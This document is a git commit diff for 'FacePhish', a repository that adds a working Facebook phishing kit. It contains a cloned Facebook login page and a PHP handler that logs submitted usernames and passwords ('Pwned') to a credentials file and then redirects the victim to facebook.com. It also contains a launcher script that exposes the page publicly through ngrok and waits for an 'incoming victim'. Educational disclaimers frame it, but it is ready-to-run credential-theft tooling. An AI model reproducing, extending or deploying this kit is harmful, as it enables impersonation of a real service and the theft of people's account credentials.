A Simple Facebook Phishing Page • For educational use only • The author is not responsible for illegal misuse.

feat: portable version with php

+282 -67
+1
.gitignore
··· 1 1 **/credentials.txt 2 + logs/*.log
+96 -14
README.md
··· 1 - # Facebook Phishing Page 1 + # 🕵️‍♂️ FacePhish - For Educational Purposes Only 2 + 3 + 4 + 5 + > ⚠️ **Disclaimer** 6 + > 7 + > This project is intended **strictly for educational and ethical hacking awareness purposes only.** 8 + > 9 + > - Do **not** use this project for malicious purposes. 10 + > - The author **does not condone** illegal activity and is **not responsible** for any misuse. 11 + > - Always conduct security testing **only in authorized environments** with **explicit permission**. 12 + > - This repository is meant to help individuals and professionals understand phishing mechanics and learn how to defend against them. 13 + 14 + 15 + 16 + <br> 17 + 18 + ## 📸 Preview 19 + 20 + ![Facephish Login Page](./screenshots/facephish.login.png) 21 + 22 + 23 + <br> 24 + 25 + ## 🚀 Features 26 + 27 + - Fake Facebook login page styled like the real interface 28 + - Logs username and password attempts 29 + - Automatically generates public forwarding using **ngrok** 30 + - Logs output in real-time to console 31 + - Dynamic PHP server running on a random available 4-digit port 32 + 33 + 34 + 35 + <br> 36 + 37 + ## ⚙️ Installation & Setup 38 + 39 + 40 + ```bash 41 + # 1. Clone this repository 42 + git clone https://github.com/hatixntsoa/facephish.git 2 43 3 - ## A simple phishing Page using php 4 - #### DISCLAIMER : Use it for ethical purposes only ! 44 + # 2. Change to the project directory 45 + cd facephish 5 46 6 - - Setup the project 7 - ```shell 8 - git clone https://github.com/h471x/facebook.git /var/www/html 9 - ``` 10 - - Get to the project 11 - ```shell 12 - cd /var/www/html/facebook 47 + # 3. Give execution permission to the script 48 + chmod +x facephish.sh 49 + 50 + # 4. Run the phishing server 51 + ./facephish.sh 52 + ```` 53 + 54 + 55 + > ✅ Ensure you have both **PHP** and **ngrok** installed on your system. 56 + 57 + 58 + 59 + <br> 60 + 61 + ## 📁 Project Structure 62 + 63 + 13 64 ``` 14 - - credentials.txt configurations 15 - ```shell 16 - sudo chmod u+x config/setup_credentials.sh 17 - ./config/setup_credentials.sh 65 + . 66 + ├── app/ 67 + │   └── facephish.php 68 + ├── assets/ 69 + │   ├── images/ 70 + │   ├── scripts/ 71 + │   └── styles/ 72 + ├── data/ 73 + │   └── credentials.txt // saved credentials 74 + ├── logs/ 75 + ├── screenshots/ 76 + ├── index.html 77 + ├── facephish.sh 78 + ├── LICENSE.md 79 + └── README.md 18 80 ``` 81 + 82 + 83 + 84 + 85 + <br> 86 + 87 + ## 📌 Requirements 88 + 89 + * **PHP** ≥ 7.x 90 + * **ngrok** with authenticated account (set up via `ngrok authtoken`) 91 + * Unix-like environment (Linux/macOS or WSL on Windows) 92 + 93 + 94 + <br> 95 + 96 + ## 📚 Legal Note 97 + 98 + This repository is designed to demonstrate **how phishing works**, so that developers, companies, and users can better understand and **protect themselves** from real threats. 99 + 100 + Use it **ethically** and **legally**.
-25
app/controllers/facebook.php
··· 1 - <?php 2 - if (isset($_POST['username'])) { 3 - $username = $_POST['username']; 4 - } 5 - 6 - if (isset($_POST['password'])) { 7 - $password = $_POST['password']; 8 - } 9 - 10 - $file = fopen('../../credentials.txt', 'a'); 11 - if ($file) { 12 - // Set the GMT offset to +3 13 - $gmt = 3; 14 - $dateTime = new DateTime("now", new DateTimeZone("GMT")); 15 - $dateTime->modify("+$gmt hours"); 16 - $formattedDateTime = $dateTime->format('m/d/Y H:i'); 17 - 18 - fwrite($file, "$formattedDateTime\n\nUsername: $username\nPassword: $password\n________________\n\n"); 19 - fclose($file); 20 - header("Location: https://facebook.com"); 21 - exit(); 22 - } else { 23 - echo "Unable to open file."; 24 - } 25 - ?>
+40
app/facephish.php
··· 1 + <?php 2 + if (isset($_POST['username'])) { 3 + $username = $_POST['username']; 4 + } 5 + 6 + if (isset($_POST['password'])) { 7 + $password = $_POST['password']; 8 + } 9 + 10 + $green = "\033[32m"; 11 + $blue = "\033[34m"; 12 + $red = "\033[31m"; 13 + $reset = "\033[0m"; 14 + 15 + error_log(PHP_EOL); 16 + 17 + error_log($red . "[!] Pwned !" . $reset); 18 + error_log($blue . "[+] Username : $username" . $reset); 19 + error_log($blue . "[+] Password : $password" . $reset); 20 + error_log($green . "[*] Saved in credentials.txt" . $reset); 21 + 22 + error_log(PHP_EOL); 23 + 24 + $file = fopen('../data/credentials.txt', 'a'); 25 + if ($file) { 26 + // Set the GMT offset to +3 27 + $gmt = 3; 28 + $dateTime = new DateTime("now", new DateTimeZone("GMT")); 29 + $logTime = date('D M d H:i:s Y'); 30 + $dateTime->modify("+$gmt hours"); 31 + $formattedDateTime = $dateTime->format('m/d/Y H:i'); 32 + 33 + fwrite($file, "$logTime\n\nUsername: $username\nPassword: $password\n________________\n\n"); 34 + fclose($file); 35 + header("Location: https://facebook.com"); 36 + exit(); 37 + } else { 38 + echo "Unable to open file."; 39 + } 40 + ?>
+2
app/server.check.php
··· 1 + <?php 2 + echo "PHP_OK";
assets/img/facebook.png assets/img/facephish.png
+6
assets/img/facephish.svg
··· 1 + <svg height="194.545" width="1001" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> 2 + <g fill="#0866ff"> 3 + <path d="M63.85 191.062H26.169V97.128H.5V66.545h25.668V44.783C26.168 18.995 37.521.5 75.1.5c7.948 0 20.426 1.602 20.426 1.602V30.5H82.42c-13.354 0-18.568 4.062-18.568 15.292v20.753h31.174l-2.776 30.583H63.851zM150.31 64.101c-.549 0-1.114.02-1.673.034-34.94 0-50.926 26.282-50.926 63.59 0 46.998 20.736 65.808 51.199 65.808 17.429 0 28.88-7.336 35.84-21.026v18.568h35.84V66.558h-35.84v19.149c-5.683-12.32-17.454-21.46-34.44-21.606zm9.113 29.423c14.675 0 23.483 10.236 23.483 27.647l.034 17.783c0 11.735-7.275 25.464-23.517 25.464-24.97 0-24.303-26.962-24.303-35.942 0-30.207 13.304-34.952 24.303-34.952zM235.064 128.823c0-15.131-.724-64.641 63.78-64.641 25.893 0 36.705 8.233 36.705 8.233l-8.69 26.953s-10.798-5.946-24.868-5.946c-18.021 0-29.52 10.447-29.52 28.828l.02 13.18c0 17.662 11.095 29.452 29.537 29.452 12.818 0 24.632-6.002 24.632-6.002l8.668 26.39s-9.886 8.285-36.303 8.285c-61.418 0-63.96-44.42-63.96-64.732zM545.692 64.135c34.941 0 51.179 26.282 51.179 63.59 0 46.998-20.737 65.808-51.2 65.808-17.429 0-30.313-7.335-37.273-21.026v18.568l-35.389-.014V4.286l37.574-3.277V84.02c5.423-14.523 23.245-19.885 35.11-19.885zm-10.534 29.389c-14.675 0-24.575 10.236-24.575 27.647l-.035 17.783c-.022 11.735 6.856 25.464 24.61 25.464 24.97 0 24.303-26.962 24.303-35.942 0-30.207-13.303-34.952-24.303-34.952zM400.743 64.238c-39.63 0-60.552 21.607-60.552 60.005v7.134c0 49.837 29.381 62.668 64.409 62.668 34.047 0 49.458-9.523 49.458-9.523l-7.031-25.36s-18.128 7.713-37.922 7.713c-20.52 0-29.345-5.23-31.607-24.95h79.564V121.58c0-41.652-23.481-57.343-56.32-57.343zm.955 25.394c13.718 0 22.607 8.412 22.119 27.921h-46.25c.802-20.533 10.388-27.92 24.131-27.92zM671.792 64.067c-40.697 0-62.122 22.934-62.122 64.033 0 56.39 36.932 65.467 62.19 65.467 36.976 0 61.576-19.907 61.576-64.955 0-46.887-27.66-64.545-61.644-64.545zm-.512 29.559c17.895 0 24.986 13.393 24.986 28.638v13.107c0 18.468-9.922 29.15-25.054 29.15-14.152 0-24.098-9.992-24.098-29.15v-13.107c0-20.432 11.835-28.638 24.166-28.638zM808.29 64.067c-40.697 0-62.122 22.934-62.122 64.033 0 56.39 36.932 65.467 62.19 65.467 36.975 0 61.576-19.907 61.576-64.955 0-46.887-27.661-64.545-61.644-64.545zm-.512 29.559c17.895 0 24.985 13.393 24.985 28.638v13.107c0 18.468-9.922 29.15-25.053 29.15-14.152 0-24.098-9.992-24.098-29.15v-13.107c0-20.432 11.835-28.638 24.166-28.638zM884.133 191.062V4.286l37.683-3.277v125.189l37.386-59.653h39.796l-39 61.783 40.502 62.734h-39.909l-38.775-60.914v60.914z"> 4 + </path> 5 + </g> 6 + </svg>
assets/img/fb.png

This is a binary file and will not be displayed.

-1
assets/img/logo.svg
··· 1 - <svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1022.51 360"><defs><style>.cls-1{fill:#1877F2;}</style></defs><title>FBWordmark_Hex-RGB-1024</title><path class="cls-1" d="M166.43,126.68c-9.65,0-12.44,4.28-12.44,13.72v15.66h25.74l-2.58,25.3H154v76.78H123.11V181.36H102.3v-25.3h20.81V140.83c0-25.52,10.29-39,39-39a146.17,146.17,0,0,1,18,1.07v23.81Z"/><path class="cls-1" d="M181.87,203.88c0-28.52,13.51-50,41.82-50,15.44,0,24.87,7.94,29.38,17.8V156.06h29.59V258.14H253.07V242.7c-4.29,9.87-13.94,17.59-29.38,17.59-28.31,0-41.82-21.45-41.82-50Zm30.88,6.87c0,15.22,5.57,25.3,19.94,25.3,12.66,0,19.09-9.22,19.09-23.8V202c0-14.58-6.43-23.8-19.09-23.8-14.37,0-19.94,10.08-19.94,25.3Z"/><path class="cls-1" d="M347,153.91c12,0,23.37,2.58,29.59,6.86l-6.86,21.88a48.6,48.6,0,0,0-20.59-4.72c-16.73,0-24,9.65-24,26.17v6c0,16.52,7.29,26.17,24,26.17a48.6,48.6,0,0,0,20.59-4.72l6.86,21.87c-6.22,4.29-17.58,6.87-29.59,6.87-36.25,0-52.76-19.52-52.76-50.83v-4.72C294.24,173.43,310.75,153.91,347,153.91Z"/><path class="cls-1" d="M380.66,211v-9c0-28.95,16.51-48,50.19-48,31.74,0,45.68,19.3,45.68,47.61v16.3h-65c.65,13.94,6.87,20.16,24,20.16,11.59,0,23.81-2.36,32.82-6.22L474,253c-8.15,4.3-24.88,7.51-39.67,7.51C395.24,260.5,380.66,241,380.66,211Zm30.88-13.3h37.32v-2.57c0-11.15-4.5-20-18-20C416.91,175.14,411.54,183.94,411.54,197.66Z"/><path class="cls-1" d="M591,210.32c0,28.52-13.72,50-42,50-15.44,0-26.16-7.72-30.45-17.59v15.44H489.39V104.8L520.27,102v68.2c4.5-9,14.37-16.3,28.74-16.3,28.31,0,42,21.45,42,50Zm-30.88-7.08c0-14.37-5.57-25.09-20.37-25.09-12.66,0-19.52,9-19.52,23.59v10.72c0,14.58,6.86,23.59,19.52,23.59,14.8,0,20.37-10.72,20.37-25.09Z"/><path class="cls-1" d="M601.33,209.67v-5.14c0-29.39,16.73-50.62,50.83-50.62S703,175.14,703,204.53v5.14c0,29.38-16.73,50.62-50.83,50.62S601.33,239.05,601.33,209.67Zm70.78-7.29c0-13.51-5.58-24.23-20-24.23s-19.95,10.72-19.95,24.23v9.44c0,13.51,5.58,24.23,19.95,24.23s20-10.72,20-24.23Z"/><path class="cls-1" d="M713.27,209.67v-5.14c0-29.39,16.73-50.62,50.83-50.62s50.83,21.23,50.83,50.62v5.14c0,29.38-16.73,50.62-50.83,50.62S713.27,239.05,713.27,209.67Zm70.78-7.29c0-13.51-5.58-24.23-19.95-24.23s-19.94,10.72-19.94,24.23v9.44c0,13.51,5.57,24.23,19.94,24.23s19.95-10.72,19.95-24.23Z"/><path class="cls-1" d="M857.39,204.74l30.45-48.68h32.81l-31.95,50.4,33.24,51.68H889.13l-31.74-50v50H826.5V104.8L857.39,102Z"/></svg>
+30
assets/scripts/script.js
··· 1 + // Check for php server availability 2 + async function checkPhpServer(username, password) { 3 + try { 4 + const response = await fetch('/app/server.check.php'); 5 + if (!response.ok) throw new Error('No PHP server'); 6 + const text = await response.text(); 7 + if (text.trim() !== 'PHP_OK') throw new Error('PHP check failed'); 8 + 9 + return true; 10 + } catch (error) { 11 + alert(`Sorry there is no PHP server running right now, here are your credentials btw:\nUsername: ${username}\nPassword: ${password}`); 12 + location.reload(); 13 + return false; 14 + } 15 + } 16 + 17 + // Clear all inputs in the form when submitted 18 + const form = document.querySelector("form"); 19 + 20 + form.addEventListener('submit', async (event) => { 21 + event.preventDefault(); 22 + 23 + const username = form.elements['username'].value; 24 + const password = form.elements['password'].value; 25 + 26 + const phpIsRunning = await checkPhpServer(username, password); 27 + if (!phpIsRunning) return; 28 + 29 + form.submit(); 30 + });
+1 -1
assets/styles/default.css
··· 8 8 } 9 9 :root { 10 10 --bg:#F0F2F5; 11 - --brand1: #166FE5; 11 + --brand1: #166fe5; 12 12 --green: #36A420; 13 13 --black:#1C1E21; 14 14 --b:1px solid blue;
+21 -3
assets/styles/style.css
··· 2 2 background-color: var(--bg); 3 3 height: 100vh; 4 4 } 5 + 5 6 .login { 6 7 display: flex; 7 8 justify-content: center; 8 9 align-items: center; 9 10 height: 100%; 10 11 } 12 + 11 13 .align-center{ 12 14 display: flex; 13 15 align-items: center; 14 16 } 17 + 15 18 .justify-center{ 16 19 display: flex; 17 20 justify-content: center; 18 21 flex-direction:column; 19 22 } 23 + 20 24 .container{ 21 25 border: ; 22 26 } 27 + 23 28 .content { 24 29 height: 100%; 25 30 padding: auto 0; 26 31 padding-top: 15%; 27 32 } 33 + 28 34 .content img{ 29 35 height: 50px; 30 36 margin-bottom: 15px; 31 37 } 38 + 32 39 .content p{ 33 40 font-size: 28px; 34 41 padding-top: 1rem; 35 42 } 43 + 36 44 .login-form { 37 45 text-align: center; 38 46 background-color: white; 39 47 width: 100%; 40 48 border-radius: 10px; 41 - box-shadow: 5px 5px 20px rgba(0, 0, 0, 0.5); 49 + box-shadow: 0px 10px 15px -3px rgba(0,0,0,0.1); 42 50 } 51 + 43 52 input{ 44 53 border: 1px solid #DDDFE2; 45 54 margin-top: 15px; ··· 48 57 border-radius: 8px; 49 58 font-size: 16px; 50 59 } 60 + 51 61 input:focus { 52 62 border: 1px solid #1877F2; 53 63 outline: none; 54 64 } 65 + 55 66 #login-btn { 56 67 background-color: var(--brand1); 57 68 width: 90%; 58 69 font-size: 20px; 59 70 margin-top: 15px; 60 71 } 72 + 61 73 #create-btn{ 62 - background-color: #36A420; 74 + background-color: #42b72a; 63 75 width: 50%; 64 76 font-size: 16px; 65 77 margin-top: 15px; 66 78 margin-bottom: 25px; 67 79 } 80 + 68 81 #login-btn, 69 82 #create-btn { 70 83 color: white; 71 84 padding: 16px; 72 - border-radius: 10px; 85 + border-radius: 8px; 73 86 font-weight: bold; 74 87 border: none; 75 88 } 89 + 76 90 .login-form form > a{ 77 91 margin-top: 15px; 78 92 height: 35px; ··· 83 97 font-size: 16px; 84 98 position: relative; 85 99 } 100 + 86 101 .login-form form > a:hover { 87 102 text-decoration: underline; 88 103 } 104 + 89 105 .login-form form > a::after{ 90 106 position: absolute; 91 107 height: 1px; ··· 96 112 background-color: #DADDE1; 97 113 color: blue; 98 114 } 115 + 99 116 footer{ 100 117 text-align: center; 101 118 margin-top: 20px; 102 119 } 120 + 103 121 footer a:hover { 104 122 text-decoration: underline !important; 105 123 }
-16
config/setup_credentials.sh
··· 1 - #!/bin/bash 2 - 3 - sudo echo 4 - 5 - if [[ ! -f "credentials.txt" ]]; then 6 - echo "Creating credentials.txt..." 7 - touch credentials.txt 8 - fi 9 - 10 - echo "Changing the owner of credentials to server www-data..." 11 - sudo chown www-data:www-data credentials.txt 12 - 13 - echo "Changing the permission of credentials to full..." 14 - sudo chmod 777 credentials.txt 15 - 16 - echo "Full Access to credentials.txt"
+1
data/.gitkeep
··· 1 + # Keep captured credentials here.
+77
facephish.sh
··· 1 + #!/bin/bash 2 + 3 + # Check if php is installed 4 + if ! command -v php &>/dev/null; then 5 + echo "Please install php first" 6 + exit 0 7 + fi 8 + 9 + # Check if ngrok is installed 10 + if ! command -v ngrok &>/dev/null; then 11 + echo "Please install ngrok first" 12 + exit 0 13 + fi 14 + 15 + # Disable Ctrl+C (^C) character display 16 + stty -echoctl 17 + 18 + # Kill on Ctrl+C 19 + trap "echo; echo '[*] Shutting down...'; kill $php_pid $ngrok_pid 2>/dev/null; exit 0" INT 20 + 21 + # Function to check if a port is free 22 + is_port_free() { 23 + ! lsof -i :$1 >/dev/null 2>&1 24 + } 25 + 26 + # Generate a random 4-digit free port 27 + while true; do 28 + port=$((RANDOM % 5999 + 4001)) 29 + 30 + if is_port_free "$port"; then 31 + break 32 + fi 33 + done 34 + 35 + # Start PHP server and log output to file 36 + php -S 0.0.0.0:$port >> logs/phishing.log 2>&1 & 37 + php_pid=$! 38 + echo "[+] Server started on port $port" 39 + echo "[+] Local URL : http://localhost:$port" 40 + echo 41 + 42 + # Check if ngrok config exists before forwarding 43 + if [[ -f "$HOME/.config/ngrok/ngrok.yml" ]]; then 44 + # Start ngrok in background 45 + ngrok http $port > /dev/null 2>&1 & 46 + ngrok_pid=$! 47 + 48 + # Wait until ngrok tunnel is available 49 + echo -n "[+] Waiting for ngrok tunnel " 50 + while true; do 51 + ngrok_url=$(curl -s http://127.0.0.1:4040/api/tunnels | grep -o 'https://[^"]*' | head -n 1) 52 + if [[ -n "$ngrok_url" ]]; then 53 + break 54 + fi 55 + echo -n "." 56 + sleep 0.5 57 + done 58 + echo "" 59 + echo "[+] Port forwarded at $ngrok_url" 60 + else 61 + echo "[!] Please add your ngrok auth token in order to forward the port" 62 + echo "[*] Server is running locally" 63 + fi 64 + 65 + echo 66 + echo "[*] Waiting for incoming victim..." 67 + 68 + # Monitor log file 69 + tail -n 0 -f logs/phishing.log | while IFS= read -r line; do 70 + if [[ "$line" =~ \[\!\] ]] || [[ "$line" =~ \[\+\] ]] || [[ "$line" =~ \[\*\] ]]; then 71 + echo "$line" 72 + fi 73 + if [[ "$line" == *"[*] Saved in credentials.txt"* ]]; then 74 + echo 75 + echo "[*] Waiting for incoming victim..." 76 + fi 77 + done
+6 -7
index.html
··· 4 4 <meta charset="UTF-8"> 5 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 - <title>Facebook – Log in or Sign up</title> 7 + <title>Facebook - log in or sign up</title> 8 8 <link rel="stylesheet" href="assets/styles/default.css"> 9 9 <link rel="stylesheet" href="assets/styles/style.css"> 10 - <link rel="icon" href="assets/img/facebook.png" type="image/x-icon"> 10 + <link rel="icon" href="assets/img/facephish.png" type="image/x-icon"> 11 11 </head> 12 12 <body> 13 13 <div class="login"> ··· 16 16 <div class="col-7"> 17 17 <div class="align-center"> 18 18 <div class="content"> 19 - <img src="assets/img/logo.svg" alt="" 20 - style="transform: scale(2); margin-left: 2.6rem;" 21 - > 19 + <img src="assets/img/facephish.svg" alt=""> 22 20 <p> 23 21 Connect with friends and the world<br> 24 22 around you on Facebook. ··· 28 26 </div> 29 27 <div class="col-5 col-xs-12"> 30 28 <div class="login-form"> 31 - <form action="app/controllers/facebook.php" method="post"> 29 + <form action="app/facephish.php" method="post"> 32 30 <input id="email" type="text" placeholder="Email address or phone number" name="username"><br> 33 31 <input id="pass" type="password" placeholder="Password" name="password"><br> 34 32 <button id="login-btn" type="submit">Log In</button><br> 35 - <a href="#">Forgotten password?</a><br> 33 + <a href="#">Forgot password?</a><br> 36 34 <button id="create-btn" type="button">Create New Account</button><br> 37 35 </form> 38 36 </div> ··· 47 45 </div> 48 46 </div> 49 47 </div> 48 + <script src="assets/scripts/script.js"></script> 50 49 </body> 51 50 </html>
+1
logs/.gitkeep
··· 1 + # Keep the logs here.
screenshots/facephish.login.png

This is a binary file and will not be displayed.